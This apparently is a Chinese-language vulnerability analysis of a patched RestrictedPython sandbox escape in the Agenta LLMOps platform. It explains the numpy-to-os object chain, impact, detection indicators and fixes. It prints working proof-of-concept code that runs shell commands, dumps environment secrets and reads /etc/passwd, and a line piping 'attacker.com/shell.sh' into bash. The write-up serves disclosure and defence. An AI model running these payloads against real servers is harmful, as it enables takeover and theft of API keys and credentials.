⚠️ 免责声明: 本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于公开安全公告,不构成直接可用的攻击代码。请勿将相关技术用于未经授权的测试或攻击行为。
漏洞等级: CVSS 9.9 严重级(NVD)/ 8.8 高危(GitHub 官方)
影响版本: Agenta-API < 0.48.1(自托管平台 Docker 镜像 agenta-api)
修复版本: 0.48.1(移除 numpy 白名单);v0.60+ 彻底移除 RestrictedPython 沙箱
漏洞类型: Python 沙箱逃逸 → 认证后远程代码执行(RCE),CWE-94 代码注入
攻击前提: 任意已登录账号(不需要管理员),网络可达,无用户交互
影响范围: 自托管 Agenta 平台的 API 服务器进程 —— 文件系统、环境变量、容器内全部密钥(含各家 LLM 的 API Key);独立使用 Agenta SDK 的 Python 库不受影响
利用状态:🟡 GitHub 安全公告自带完整 PoC,SSVC 评级 "技术影响 = 完全接管"
当前状态: ✅ 已修复
公告编号: GHSA-pmgp-2m3v-34mq,发现者 superboy-zjc、jackfromeast
Agenta 是一个开源 LLMOps 平台,你可以把它理解成"大模型应用的实验台 + 评测中心":管理 prompt 版本、做 A/B 实验、批量跑评测集、给模型输出打分。GitHub 上几千 Star,在 LLMOps 赛道里和 Langfuse、Helicone 是同类产品,支持 Docker 一键自托管。
它有一个很能打的功能:自定义代码评测器(custom code evaluator)。
内置的评测器只能算"输出是否包含关键词""正则是否匹配"这类简单指标。但现实中评测逻辑千奇百怪:你可能要算 JSON 字段的加权分、要对输出做语义归一化后再比对、要调用一个统计函数。Agenta 的解决方案是——让用户自己写一段 Python 代码,平台在服务端跑这段代码来给 LLM 输出打分。
让用户上传代码并在服务器上执行,这在安全上是地狱级难度的功能。Agenta 知道这一点,所以他们上了沙箱:用的是 Python 生态里最老牌的沙箱库 RestrictedPython。
然后这个沙箱被三行代码打穿了。
2026年2月25日,Agenta 官方在 GitHub 发布安全公告 GHSA-pmgp-2m3v-34mq,公告里直接附上了 PoC:
from security.sandbox import execute_code_safely
code = """
import numpy
a = numpy.ma.core.inspect.sys.modules["os"].system
a("whoami")
"""
execute_code_safely(
app_params={}, inputs={}, output="",
correct_answer="", code=code, datapoint={}
)
就这些。没有内存破坏,没有 0day,没有复杂的绕过链。一个普通用户在评测器里提交这段"打分代码",服务器就执行了whoami——把whoami换成curl attacker.com/shell.sh | bash,就是完整的服务器接管。
这个漏洞有两个 CVSS 评分,差异值得一说:
| 评分方 | 分数 | 向量 | 关键差异 |
|---|---|---|---|
| GitHub 官方 | 8.8 高危 | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 认为影响局限在漏洞组件内 |
| NVD(NIST) | 9.9 严重级 | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 认为作用域发生变更 |
分歧在Scope这一项。NVD 的理由是:沙箱的全部意义就是在 API 服务器内部划出一个"不可信代码隔离区",逃逸成功意味着代码突破了这个隔离边界,在本不该触及的安全域里执行——这正是 Scope Changed 的定义。
我认同 NVD。沙箱漏洞的特殊性就在于:它的危害不是"组件内的数据泄露",而是"隔离机制本身失效"。 一个设计来关野兽的笼子被打开,评分当然要按"野兽出来了"算,而不是按"笼子里少了块肉"算。
RestrictedPython 是 Zope 社区 20 多年前搞出来的古董级库,思路是在编译期改写 Python 字节码:
compile_restricted()编译obj.attr → _getattr_(obj, "attr"),属性访问要过白名单obj[key] → _getitem_(obj, key),下标访问要过守卫import os 直接被拒,导入走_getitem_(__builtins__, ...)受控通道len、range、str这些),open、exec、eval、__import__全部拿掉理论上,沙箱里的代码碰不到文件系统、碰不到系统调用、连__class__这种反射属性都被守卫拦住。
但 Agenta 为了让评测代码能干活,给沙箱开了个口子:numpy 在导入白名单里。
这个决定本身可以理解——做评测要算数值指标,numpy 是 Python 数值计算的基础设施,不让用 numpy,自定义评测器的实用性砍掉一半。问题是:他们假设了"numpy 是个数学库,所以 numpy 是安全的"。
这个假设错在哪?错在安全的不是一个库"能做什么",而是它"引用了什么"。
numpy 不是一个纯计算的黑盒,它本身就是一个庞大的 Python 对象网络。它的子模块numpy.ma.core(掩码数组模块)在内部写了这么一行:
# numpy/ma/core.py 内部
import inspect
inspect是 Python 标准库里的自省模块——而inspect模块内部又引用了sys。于是逃逸路径就形成了:
沙箱内代码
│
├─ import numpy ← 白名单放行 ✅
│
├─ numpy.ma.core ← numpy子模块,属性访问合法
│
├─ numpy.ma.core.inspect ← ma/core.py里import的inspect
│ (作为模块属性挂在那里)
│
├─ numpy.ma.core.inspect.sys ← inspect内部引用的sys
│
├─ .modules["os"] ← sys.modules是所有已加载模块的注册表
│ os在服务端进程里早就加载了
│
└─ .system("任意命令") ← os.system,游戏结束
注意这条链里没有任何一步是"黑客操作"——每一步都是普通的 Python 属性访问。RestrictedPython 的守卫为什么没拦住?因为守卫只能拦截沙箱内代码直接发起的危险属性访问(比如你手写().__class__),它管不到白名单模块内部已经存在的引用关系。numpy 的模块对象在沙箱外被创建时,inspect、sys这些引用就已经挂在它身上了。沙箱放行了 numpy 这个对象,就等于放行了 numpy 对象图里能到达的一切。
用一句话总结:RestrictedPython 能限制你写什么代码,但限制不了你拿到的对象认识谁。
熟悉 Python 沙箱逃逸史的同学看到这个 PoC 会觉得眼熟——这就是经典的"对象图漫游"攻击:
eval()沙箱逃逸:().__class__.__bases__[0].__subclasses__()遍历所有已加载类,找到warnings.catch_warnings或os._wrap_close,从它们的__init__.__globals__里掏出os;ast过滤方案,十几年里被以同样的思路反复打穿。根本原因是:Python 的对象模型是全连通的。 任何一个普通对象,通过__class__ → __bases__ → __subclasses__或模块属性链,理论上都能走到进程里的任意模块。语言级沙箱本质上是在一张全连通的图上维护一份"此路不通"的黑名单/守卫点,而攻击者只需要找到一条没被守卫的路径。白名单模块越多,可漫游的对象图越大,路径就越多。
numpy 只是恰好提供了一条特别短、特别稳的路径而已。就算官方从白名单里删掉 numpy,pandas引不引sys?scipy引不引inspect?白名单里每多一个库,都是在给对象图加入口。
代码在 API 服务器进程内执行,意味着攻击者直接继承 API 进程的全部权限:
| 目标 | 后果 |
|---|---|
| 文件系统 | 容器内任意文件读写:评测数据集、prompt 库、用户上传的测试集 |
| 环境变量 | LLM API Key 重灾区——自托管 LLMOps 平台必然配置 OpenAI/Anthropic/各家模型的密钥,全部明文躺在环境变量里 |
| 数据库 | Agenta 自己的 PostgreSQL/Redis,所有租户的评测数据、账号信息 |
| 内网横向 | 以容器为跳板访问内网服务,云环境下可尝试撞元数据接口(169.254.169.254)偷临时凭据 |
| 持久化 | 写 SSH 密钥、crontab、篡改评测器代码留后门 |
而且攻击门槛极低:任何注册用户都能打,不需要管理员权限,不需要任何人点链接。 公网暴露的 Agenta 实例,攻击者注册个账号、提交一个"评测器"、喝口水的时间服务器就归他了。
公告里有个容易误读的点,说清楚:
agenta-api服务),因为自定义评测器代码在服务端 API 进程内执行;pip install agenta在自己脚本里用的场景——评测代码本来就是你自己在本地跑,不存在"沙箱"这回事。⚠️ 以下 PoC 整理自官方安全公告 GHSA-pmgp-2m3v-34mq,仅用于理解漏洞原理。请勿在未经授权的系统上执行。
官方公告给出的验证代码,核心就是那段三行code字符串:
# 在拥有任意普通账号的Agenta实例上,通过自定义代码评测器提交:
import numpy
a = numpy.ma.core.inspect.sys.modules["os"].system
a("whoami")
评测器"执行打分"时,服务端返回的不是分数——是whoami的执行结果。沙箱在这一步已经不存在了。
验证之后,攻击者的下一步通常是读环境变量(LLMOps 平台最值钱的东西就在这):
import numpy
sys = numpy.ma.core.inspect.sys
# 1. 拖走所有环境变量——OPENAI_API_KEY、ANTHROPIC_API_KEY、数据库密码……
env = sys.modules["os"].environ
for k, v in env.items():
print(f"{k}={v}")
# 2. 或者直接回shell
sys.modules["subprocess"].check_output(["bash", "-c", "id; ls -la /; cat /etc/passwd"])
完整攻击链:
攻击者(任意注册用户)
│
├─① 登录Agenta平台,进入"自定义代码评测器"
│
├─② 提交"打分代码":
│ import numpy
│ numpy.ma.core.inspect.sys.modules["os"].system("恶意命令")
│
├─③ 触发一次评测运行(跑任意一条测试数据即可)
│
└─④ 服务端 execute_code_safely() 在API进程内执行
│
└─→ RestrictedPython沙箱被numpy对象图绕过
→ 任意命令以API服务器权限执行
→ 环境变量里的LLM API Key、数据库凭据全部失守
RAXE 实验室在关联公告里给了检测指标,挺实用:
numpy.ma.core、inspect、sys.modules、os.system、subprocess 字样;sh、bash、curl、wget);/tmp、容器工作目录出现未知脚本文件。Agenta 的修复分两个阶段,这个过程本身就很有信息量:
| 阶段 | 版本 | 修复方式 | 评价 |
|---|---|---|---|
| 紧急止血 | v0.48.1 | 把 numpy 从沙箱白名单里删掉 | 堵口,但没解决架构问题 |
| 架构重做 | v0.60+ | 彻底移除 RestrictedPython,换成另一套执行模型 | 官方承认语言级沙箱这条路走不通 |
注意第二个动作。官方没有选择"继续维护白名单、继续给 RestrictedPython 打补丁",而是把整个沙箱方案连根拔掉换了执行模型。这等于厂商用真金白银的开发量承认了一件事:
在同一个进程里用语言级机制隔离不可信代码,是守不住的。
这和 JavaScript 生态里 vm2 的结局一模一样——vm2 在 2023 年作者公开宣布"放弃维护,沙箱逃逸是结构性问题,请改用进程级隔离",2026 年 5 月 vm2 又被一口气爆出 13 个沙箱逃逸 CVE(9.0-10.0 分),波及所有用 vm2 跑 AI 生成代码的 Agent 框架。历史给的答案非常一致。
更有意思的是后续:RAXE 安全实验室在2026年3月4日发布 RAXE-2026-012 公告,披露 Agenta 评测器管线还有第二个 RCE——
| CVE | 类型 | 影响版本 | 修复版本 | CVSS |
|---|---|---|---|---|
| CVE-2026-27952 | 沙箱逃逸(numpy 白名单) | Agenta-API < 0.48.1 | 0.48.1 | 9.9 |
| CVE-2026-27961 | SSTI 服务端模板注入 | Agenta ≤ 0.86.7 | 0.86.8 | 8.8 |
两个洞在同一个组件(evaluator pipeline),一个是代码沙箱逃逸,一个是模板注入,修复版本差了快 40 个小版本。这说明什么?评测器这个功能天然就是"用户输入→服务端执行"的高危管道,只要架构上还让用户输入直达执行层,堵完一个原语还会有下一个。 v0.60 换掉 RestrictedPython、v0.86.8 修 SSTI,本质上都是在给同一个架构决策还债。
官方和 RAXE 给的临时措施:
如果你在自托管 Agenta(或任何带"自定义代码执行"功能的 LLMOps/Agent 平台),按优先级排查:
numpy.ma.core、inspect、sys.modules、os.system、subprocess
/tmp下未知脚本sys/inspect/builtins的库都等于放行全进程把视野拉开看,Agenta 这个洞不是孤例,而是 2026 年一整类漏洞的缩影:
| 时间 | 事件 | 分数 |
|---|---|---|
| 2026.02 | Agenta RestrictedPython 沙箱逃逸(本篇) | 9.9 |
| 2026.05 | vm2 沙箱逃逸 13 连爆,波及所有用 vm2 跑 AI 生成 JS 的 Agent 框架 | 9.0-10.0 |
| 2026.07 | Pillar Security"沙箱逃逸周":Cursor、Codex CLI、Gemini CLI、Antigravity 集体中招 | 8.5+ |
| 2026.08 | NVIDIA OpenShell for Linux 沙箱逃逸,Agent 隔离边界被直接打破,已被野外利用 | 9.9 |
微软安全研究在 vm2 那波漏洞里提了个框架,叫"Prompts Become Shells"(提示词变成 shell):AI Agent 时代,模型生成的代码、用户提交的配置、prompt 里夹带的指令,最终都会流向某个执行点。执行点外面如果只包了一层语言级沙箱,那从 prompt 注入到宿主机 RCE 之间,只差一个逃逸原语。
Agentic AI 基础设施正在成为高价值目标——安全圈现在的说法是:沙箱逃逸对 AI 基础设施的意义,就像 hypervisor 逃逸对虚拟化的意义。 笼子是这个产品的核心安全承诺,笼子破了,里面跑的东西越高级,事故越大。
这个漏洞最值得每个开发者咀嚼的细节是 numpy。
审查白名单时,人的直觉是按"功能"判断危险性:os是系统库,危险;subprocess是执行命令的,危险;numpy是算矩阵的,安全。但 Python 的模块不是按功能封装的孤岛,它们共享同一个进程、同一个对象图。numpy.ma.core为了自己实现方便 import 了inspect,这个和安全毫无关系的实现细节,就成了通向sys.modules的高速公路。
安全边界不能建立在"这个库看起来人畜无害"上。 白名单的正确评审单位不是"库名",而是"对象可达性"——任何能接触到sys、inspect、builtins、__globals__的引用链,都是边界上的洞。而在 Python 里,想证明一个库碰不到这些东西,几乎不可能。这也是为什么官方最后选择删掉整个 RestrictedPython 方案:白名单维护是一场打不赢的战争。